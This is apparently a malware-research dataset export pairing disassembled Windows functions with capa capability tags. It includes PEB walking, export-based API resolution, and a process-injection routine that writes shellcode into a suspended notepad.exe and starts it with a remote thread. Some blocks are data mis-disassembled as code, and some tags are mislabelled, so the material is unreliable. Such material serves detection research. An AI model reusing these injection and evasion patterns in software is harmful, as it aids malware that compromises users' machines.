joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180002950
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180020a94], 0xa
jl 0x180002982
mov eax, dword [0x180020a98]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002982
nop word cs:[rax + rax]
jmp 0x180002980
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
add r11, 0x10
mov eax, dword [0x180020a80]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a7c], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180020a9c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020aa0], 0xa
setl r9b
or r9b, al
lea r10, [rcx - 1]
xor eax, eax
mov r14, r11
mov r14, qword [r14]
cmp r14, r11
je 0x180002a58
mov rsi, r10
test r8b, r8b
je 0x180002a70
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x1800029f0
test r9b, r9b
je 0x180002a80
sub rsi, rcx
je 0x180002a54
mov r15, qword [r14 + 0x60]
xor ebx, ebx
nop
movzx r13d, word [r15 + rbx*2]
lea edi, [r13 - 0x41]
lea ebp, [r13 + 0x20]
cmp di, 0x1a
cmovae ebp, r13d
movsx edi, byte [rcx + rbx]
lea r12d, [rdi - 0x41]
lea edx, [rdi + 0x20]
cmp r12b, 0x1a
cmovae edx, edi
sub ebp, edx
test r13d, r13d
je 0x180002a50
test ebp, ebp
jne 0x180002a50
add rbx, 1
cmp rsi, rbx
jne 0x180002a10
jmp 0x180002a54
test ebp, ebp
jne 0x1800029dc
mov rax, qword [r14 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x180002a70
jmp 0x180002a80

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x180002f30
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180021a94], 0xa
jl 0x180002f62
mov eax, dword [0x180021a98]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002f62
nop word cs:[rax + rax]
jmp 0x180002f60
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
add r11, 0x10
mov eax, dword [0x180021a80]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180021a7c], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180021a9c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180021aa0], 0xa
setl r9b
or r9b, al
lea r10, [rcx - 1]
xor eax, eax
mov r14, r11
mov r14, qword [r14]
cmp r14, r11
je 0x180003038
mov rsi, r10
test r8b, r8b
je 0x180003050
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x180002fd0
test r9b, r9b
je 0x180003060
sub rsi, rcx
je 0x180003034
mov r15, qword [r14 + 0x60]
xor ebx, ebx
nop
movzx r13d, word [r15 + rbx*2]
lea edi, [r13 - 0x41]
lea ebp, [r13 + 0x20]
cmp di, 0x1a
cmovae ebp, r13d
movsx edi, byte [rcx + rbx]
lea r12d, [rdi - 0x41]
lea edx, [rdi + 0x20]
cmp r12b, 0x1a
cmovae edx, edi
sub ebp, edx
test r13d, r13d
je 0x180003030
test ebp, ebp
jne 0x180003030
add rbx, 1
cmp rsi, rbx
jne 0x180002ff0
jmp 0x180003034
test ebp, ebp
jne 0x180002fbc
mov rax, qword [r14 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x180003050
jmp 0x180003060
Function at 0x140013890
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x10090
call fcn.14003cf00
sub rsp, rax
mov rax, qword [0x140054040]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x80], bp
mov word [rsp + 0x30], bp
lea edi, [rbp + 0x28]
test al, al
je 0x140013942
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.140030b78
cmp rax, 1
jne 0x14001399e
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14001391f
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x140013913
cmp rcx, 1
jb 0x14001399e
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x1400138e0
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140013973
lea rcx, [rsp + 0x80]
call fcn.1400320b8
jmp 0x140013975
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.1400211b0
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.1400257a0
int3

Function at 0x1400139b0
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140054040]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor ebp, ebp
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x30], bp
lea rbx, [rsp + 0x30]
mov al, 0x4e
lea edi, [rbp + 0x28]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.140030b78
cmp rax, 1
jne 0x140013a85
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x140013a2c
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x140013a20
cmp rcx, 1
jb 0x140013a85
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x1400139f1
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.1400211b0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.1400257a0
int3
Function at 0x140021b84
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140021bce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140021bce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140021bce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140021bce
cmp dword [rcx + 0x84], 0xe
jbe 0x140021bce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140021bd0
xor al, al
add rsp, 0x28
ret

Function at 0x140025b0c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14002596b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002596b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002596b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002596b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002596b
cmp dword [rcx + 0x84], 0xe
jbe 0x14002596b
cmp dword [rcx + 0xf8], 0
je 0x14002596b
mov ecx, ebx
call fcn.140025a28
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400257f8
nop
cmp dword [rbp + 0x20], 0
je 0x1400259b9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400259c4
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400258fc
Function at 0x140036a44
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140036acb
mov rsi, rbx
cmp word [rax], bp
je 0x140036a8a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140036a74
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140036a70
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140034690
mov rdi, rax
test rax, rax
je 0x140036ab8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14003d560
mov rbp, rdi
xor ecx, ecx
call fcn.140032700
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14003ce10
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003ce38
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14003ce38
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180002010
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
movsxd rax, dword [rcx + 0x3c]
mov ebp, dword [0x180020a84]
lea r11d, [rbp - 1]
imul r11d, ebp
cmp dword [rcx + rax + 0x8c], 0
mov r8d, dword [0x180020a88]
je 0x180002092
mov eax, dword [rcx + rax + 0x88]
cmp r8d, 0xa
jl 0x180002052
mov ebp, r11d
and ebp, 1
je 0x180002052
jmp 0x180002050
cmp dword [rcx + rax + 0x14], 0
je 0x180002092
mov r9d, dword [rcx + rax + 0x18]
test r9d, r9d
je 0x180002092
mov r10d, dword [rcx + rax + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800020b2
mov esi, dword [0x180020a90]
lea edi, [rsi - 1]
imul edi, esi
and edi, 1
je 0x1800020b2
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x180002090
xor ecx, ecx
cmp r8d, 0xa
jl 0x18000211f
mov eax, r11d
and eax, 1
je 0x18000211f
nop word cs:[rax + rax]
jmp 0x1800020b0
add r10, rcx
mov r15d, dword [rcx + rax + 0x20]
mov r14d, dword [rcx + rax + 0x24]
add r15, rcx
add r14, rcx
xor edi, edi
nop word [rax + rax]
mov esi, dword [r15]
add rsi, rcx
xor eax, eax
nop dword [rax + rax]
movzx ebx, byte [rdx + rax]
movzx ebp, byte [rsi + rax]
test bl, bl
je 0x1800020f5
add rax, 1
cmp bl, bpl
je 0x1800020e0
cmp bl, bpl
je 0x180002114
add edi, 1
add r15, 4
add r14, 2
cmp edi, r9d
jne 0x1800020d0
xor ecx, ecx
cmp r8d, 0xa
jge 0x180002125
jmp 0x180002132
movzx eax, word [r14]
mov eax, dword [r10 + rax*4]
add rcx, rax
cmp r8d, 0xa
jl 0x180002132
and r11d, 1
je 0x180002132
nop dword [rax + rax]
jmp 0x180002130
mov rax, rcx
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x180002140
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
cmp dword [0x180020a94], 0xa
jl 0x180002172
mov eax, dword [0x180020a98]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180002172
nop word cs:[rax + rax]
jmp 0x180002170
mov rax, qword gs:[0x60]
mov r11, qword [rax + 0x18]
add r11, 0x10
mov eax, dword [0x180020a80]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020a7c], 0xa
setl r8b
or r8b, al
mov eax, dword [0x180020a9c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp dword [0x180020aa0], 0xa
setl r9b
or r9b, al
lea r10, [rcx - 1]
xor eax, eax
mov r14, r11
mov r14, qword [r14]
cmp r14, r11
je 0x180002248
mov rsi, r10
test r8b, r8b
je 0x180002260
cmp byte [rsi + 1], 0
lea rsi, [rsi + 1]
jne 0x1800021e0
test r9b, r9b
je 0x180002270
sub rsi, rcx
je 0x180002244
mov r15, qword [r14 + 0x60]
xor ebx, ebx
nop
movzx r13d, word [r15 + rbx*2]
lea edi, [r13 - 0x41]
lea ebp, [r13 + 0x20]
cmp di, 0x1a
cmovae ebp, r13d
movsx edi, byte [rcx + rbx]
lea r12d, [rdi - 0x41]
lea edx, [rdi + 0x20]
cmp r12b, 0x1a
cmovae edx, edi
sub ebp, edx
test r13d, r13d
je 0x180002240
test ebp, ebp
jne 0x180002240
add rbx, 1
cmp rsi, rbx
jne 0x180002200
jmp 0x180002244
test ebp, ebp
jne 0x1800021cc
mov rax, qword [r14 + 0x30]
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
jmp 0x180002260
jmp 0x180002270
Function at 0x14000365f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
movsxd rax, dword [rcx + 0x3c]
mov eax, dword [rax + rcx + 0x88]
mov r12d, dword [rax + rcx + 0x1c]
mov r13d, dword [rax + rcx + 0x20]
add r13, rcx
mov ebp, dword [rax + rcx + 0x24]
add rbp, rcx
lea r14, [rsp + 0x28]
mov r15d, dword [r13]
add r15, rsi
mov rcx, r15
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, r14
mov rdx, r15
mov r8, rax
call fcn.140007920
cmp qword [rsp + 0x28], 0
jne 0x140003705
cmp qword [rsp + 0x38], rdi
jne 0x1400036dc
mov rcx, qword [rsp + 0x30]
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400036e6
add r13, 4
add rbp, 2
jmp 0x14000369c
add r12, rsi
movzx eax, word [rbp]
mov eax, dword [r12 + rax*4]
add rax, rsi
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [rsp + 0x30]
movups xmm0, xmmword [rax]
lea r8, [rsp + 0x40]
movaps xmmword [r8], xmm0
lea rax, str.src_main.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14001e530]
mov edx, 0x2b
call fcn.14001c1e0
int3

Function at 0x14000373b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov rbx, rdx
mov qword [rsp + 0x20], rcx
movaps xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZ____]
lea r14, [rsp + 0x48]
movups xmmword [r14 - 1], xmm0
movaps xmm0, xmmword [0x14001e4a0]
movups xmmword [r14 + 0xf], xmm0
mov byte [r14 + 0x1f], 0x61
lea rdi, [rsp + 0x28]
and qword [rdi], 0
mov qword [rdi + 8], 1
and qword [rdi + 0x10], 0
lea r15, [rdx + r8]
lea r12, [rsp + 0x68]
lea rdx, [r8 + 3]
shr rdx, 2
mov rcx, rdi
call fcn.14000630b
lea r13, [rsp + 0x47]
mov rax, r13
mov rbp, r12
cmp rbx, r15
je 0x14000385d
mov r9b, byte [rbx]
movzx ecx, r9b
test cl, cl
js 0x1400037c8
inc rbx
jmp 0x140003824
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [rbx + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x140003818
lea rsi, [rbx + 3]
movzx r8d, byte [rbx + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x140003852
movzx ecx, byte [rsi]
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
je 0x14000385d
add rbx, 4
jmp 0x140003824
add rbx, 2
shl edx, 6
or edx, r10d
mov ecx, edx
mov rsi, rbx
lea rbx, [rax + 1]
cmp rax, rbp
cmove rax, r13
cmove rbp, r12
cmove rbx, r14
xor cl, byte [rax]
movzx edx, cl
mov rcx, rdi
call fcn.1400025d8
mov rax, rbx
mov rbx, rsi
jmp 0x1400037af
shl edx, 0xc
or r8d, edx
mov ecx, r8d
jmp 0x140003827
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rcx], xmm0
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140009510
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140009590
cmp r11, r10
ja 0x140009607
cmp r10, rdx
ja 0x140009619
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x140009592
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140009570
jmp 0x1400095f4
ja 0x14000959a
mov r11, r10
cmp rax, r8
jne 0x14000953e
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x1400095d0
mov rdi, r8
sub ecx, edx
jns 0x1400095eb
jmp 0x1400095f6
cmp r8, rsi
je 0x140009628
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x1400095f6
xor al, 1
cmp rdi, rsi
jne 0x1400095b0
jmp 0x1400095f6
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14001c170
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14001bfe0
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14001c270
int3

Function at 0x14000e920
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x14000e945
cmp rax, rcx
je 0x14000e94b
cmp rdx, 4
jae 0x14000e952
xor eax, eax
xor r8d, r8d
jmp 0x14000e9f0
pop rbp
jmp fcn.140006970
xor eax, eax
jmp 0x14000ea07
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x14001e4b0]
movdqa xmm3, xmmword [0x14001e4c0]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x14000e980
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x14000ea07
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x14000e9f0
pop rbp
ret
Function at 0x140015810
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
movzx r9d, byte [rdx + 0x38]
movzx eax, byte [rdx + 0x3a]
cmp al, byte [rax + r8*8 - 0x3f6af0bf]

Function at 0x14001b890
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001b8da
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001b8da
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001b8da
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001b8da
cmp dword [rcx + 0x84], 0xe
jbe 0x14001b8da
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001b8dc
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Inject thread
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0xf0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
movups xmmword [rsp + 0x78], xmm0
xor edi, edi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, str.C:WindowsSystem32_notepad.exe
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rdi
xor edx, edx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
movups xmmword [r11 - 0x70], xmm0
movups xmmword [r11 - 0x60], xmm0
movups xmmword [r11 - 0x50], xmm0
movups xmmword [r11 - 0x40], xmm0
movups xmmword [r11 - 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x6600
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x50]
lea r8, [0x140005080]
mov rdx, rax
mov qword [rsp + 0x20], rdi
mov r9d, 0x6600
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x50]
mov r9, rbx
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], edi
xor edx, edx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001170
mov rcx, rax
lea rdx, [0x140001330]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400013f0
mov rbx, qword [rsp + 0x100]
add rsp, 0xf0
pop rdi
ret

Function at 0x140001cb8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d02
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d02
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d02
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d02
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d02
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d04
xor al, al
add rsp, 0x28
ret
Function at 0x1400020b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x1400021ab
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x1400021b3
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x1400021ea
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x1400021c0
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x140002215
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x14000223b
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x140002220
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret

Function at 0x14000a340
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [0x14002e008]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
